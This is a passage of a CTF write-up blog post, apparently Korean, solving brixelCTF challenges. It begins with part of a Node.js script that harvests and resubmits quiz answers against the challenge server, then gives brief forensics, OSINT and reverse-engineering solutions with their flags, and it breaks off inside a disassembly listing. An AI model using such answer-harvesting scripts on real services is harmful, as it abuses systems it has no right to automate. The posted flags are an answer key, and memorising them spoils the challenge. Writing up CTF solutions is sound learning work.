#9cdcfe;&quot;&gt;console&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;log&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;body&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;resolve&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;})&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;async&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Main&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;try&lt;/span&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;await&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;InitConnection&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;console&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;log&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'[+]&amp;nbsp;Connection&amp;nbsp;established'&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;=&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;lt;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1000&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;++)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;answer&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;await&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;SubmitAnswer&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;''&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;answers&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;push&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;answer&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;console&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;log&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'[+]&amp;nbsp;Answer&amp;nbsp;#'&lt;/span&gt;+(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;+&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;).&lt;span style=&quot;color: #dcdcaa;&quot;&gt;toString&lt;/span&gt;()+&lt;span style=&quot;color: #ce9178;&quot;&gt;':&amp;nbsp;'&lt;/span&gt;+&lt;span style=&quot;color: #9cdcfe;&quot;&gt;answer&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;cookieJar&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4fc1ff;&quot;&gt;request&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;jar&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;await&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;InitConnection&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;console&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;log&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'[+]&amp;nbsp;Connection&amp;nbsp;established'&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;=&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;lt;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1000&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;++)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;result&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;await&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;SubmitAnswer&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;answers&lt;/span&gt;[&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;]);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;result&lt;/span&gt;&amp;nbsp;===&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;console&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;log&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'[+]&amp;nbsp;Solved&amp;nbsp;question&amp;nbsp;#'&lt;/span&gt;+(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;+&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;).&lt;span style=&quot;color: #dcdcaa;&quot;&gt;toString&lt;/span&gt;());&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;else&lt;/span&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;console&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;log&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'[-]&amp;nbsp;Something&amp;nbsp;went&amp;nbsp;wrong'&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;catch&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;code&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;console&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;log&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;'[-]&amp;nbsp;Connection&amp;nbsp;failed:&amp;nbsp;'&lt;/span&gt;+&lt;span style=&quot;color: #9cdcfe;&quot;&gt;code&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;toString&lt;/span&gt;());&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;Main&lt;/span&gt;();&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{kn0wl3dg3}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Forensics :: A message from space&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SSTV decode 문제다. QSSTV를 사용해서 풀었으며 아래 링크를 참고했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(&lt;a href=&quot;https://ourcodeworld.com/articles/read/956/how-to-convert-decode-a-slow-scan-television-transmissions-sstv-audio-file-to-images-using-qsstv-in-ubuntu-18-04&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://ourcodeworld.com/articles/read/956/how-to-convert-decode-a-slow-scan-television-transmissions-sstv-audio-file-to-images-using-qsstv-in-ubuntu-18-04&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;scr.png&quot; data-origin-width=&quot;1850&quot; data-origin-height=&quot;1055&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bc85P6/btqRTQZyuB7/Xfi4KKDxvPodYe2F5bsu51/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bc85P6/btqRTQZyuB7/Xfi4KKDxvPodYe2F5bsu51/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bc85P6/btqRTQZyuB7/Xfi4KKDxvPodYe2F5bsu51/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbc85P6%2FbtqRTQZyuB7%2FXfi4KKDxvPodYe2F5bsu51%2Fimg.png&quot; data-filename=&quot;scr.png&quot; data-origin-width=&quot;1850&quot; data-origin-height=&quot;1055&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{SP4C3L4B}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Forensics :: Lottery ticket&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조작된 숫자를 전부 더하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그림을 확대해 보면, 대부분의 숫자에 노이즈가 있는데 특정 숫자에는 노이즈가 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;508&quot; height=&quot;NaN&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5UIMq/btqRVp8shti/jgn7DQN9nUF2YTv27hDV91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5UIMq/btqRVp8shti/jgn7DQN9nUF2YTv27hDV91/img.png&quot; data-alt=&quot;fake&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5UIMq/btqRVp8shti/jgn7DQN9nUF2YTv27hDV91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5UIMq%2FbtqRVp8shti%2Fjgn7DQN9nUF2YTv27hDV91%2Fimg.png&quot; width=&quot;508&quot; height=&quot;NaN&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;fake&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;508&quot; height=&quot;NaN&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bZ3SQj/btqRGpWAUUz/37EN74nUH9QzG7JFv1Z9vk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bZ3SQj/btqRGpWAUUz/37EN74nUH9QzG7JFv1Z9vk/img.png&quot; data-alt=&quot;real&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bZ3SQj/btqRGpWAUUz/37EN74nUH9QzG7JFv1Z9vk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbZ3SQj%2FbtqRGpWAUUz%2F37EN74nUH9QzG7JFv1Z9vk%2Fimg.png&quot; width=&quot;508&quot; height=&quot;NaN&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;real&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노이즈가 없는 숫자인 42(A4), 88(C2), 25(C3), 48(D4) 을 더하면 플래그가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: 203&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Forensics :: Lost evidence&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지 파일이 주어진다. 해당 파일을 마운트하고 EaseUS로 리커버리를 돌리면 wav 파일 2개를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;669&quot; height=&quot;NaN&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cUT8Lj/btqRXI0341a/Kjojt6Ylo2w61jSyutE701/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cUT8Lj/btqRXI0341a/Kjojt6Ylo2w61jSyutE701/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cUT8Lj/btqRXI0341a/Kjojt6Ylo2w61jSyutE701/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcUT8Lj%2FbtqRXI0341a%2FKjojt6Ylo2w61jSyutE701%2Fimg.png&quot; width=&quot;669&quot; height=&quot;NaN&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 파일은 동일하기 때문에 하나만 가져와서 분석해도 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소리를 들어보면 이체를 위해 이런저런 정보를 입력하고 65초부터 메시지를 입력하는 부분이 나온다. 해당 부분을 잘라내서 DTMF Tone에 따라 텍스트로 변환하면 &quot;thx for the cocaine bruh&quot; 문자열을 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(GoldWave로 잘라내고 &lt;a href=&quot;http://dialabc.com/sound/detect/index.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;http://dialabc.com/sound/detect/index.html&lt;/a&gt; 에서 키값을 가져왔다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cocaine을 플래그 형식에 씌우면 정답 플래그가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{cocaine}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;OSINT :: A quick search&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;images.google.com&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: Eben-Ezer&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Reverse engineering / cracking :: Cookieee!&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Cheat Engine&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{m3m0ry}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Reverse engineering / cracking :: no peeking!&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JetBrains dotPeek&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;Flag: brixelCTF{d0tP33K}&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Reverse engineering / cracking :: registerme.exe&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Visual Basic 6.0 리버싱 문제다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VB Decompiler로 살펴보면 Form1에 3개의 함수가 있는데, 대충 어셈블리를 들여다 보면 Timer 함수에 뭔가 중요한 게 있어보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;ida-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;ida-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #2d2d2d;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #ababab;&quot;&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BA4&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;mov&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #73adad;&quot;&gt;ebp&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ff8000;&quot;&gt;var_34&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;],&lt;/span&gt;&amp;nbsp;offset&amp;nbsp;&lt;span style=&quot;color: #ebebb9;&quot;&gt;aActivationKey&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #666666;&quot;&gt;;&amp;nbsp;&quot;activation.key&quot;&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #666666;&quot;&gt;.text:00402BAB&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffffff;&quot;&gt;mov&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #73adad;&quot;&gt;ebp&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #ff8000;&quot;&gt;var_3C&lt;/span&gt;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;],&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #d25032;&quot;&gt;8&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: 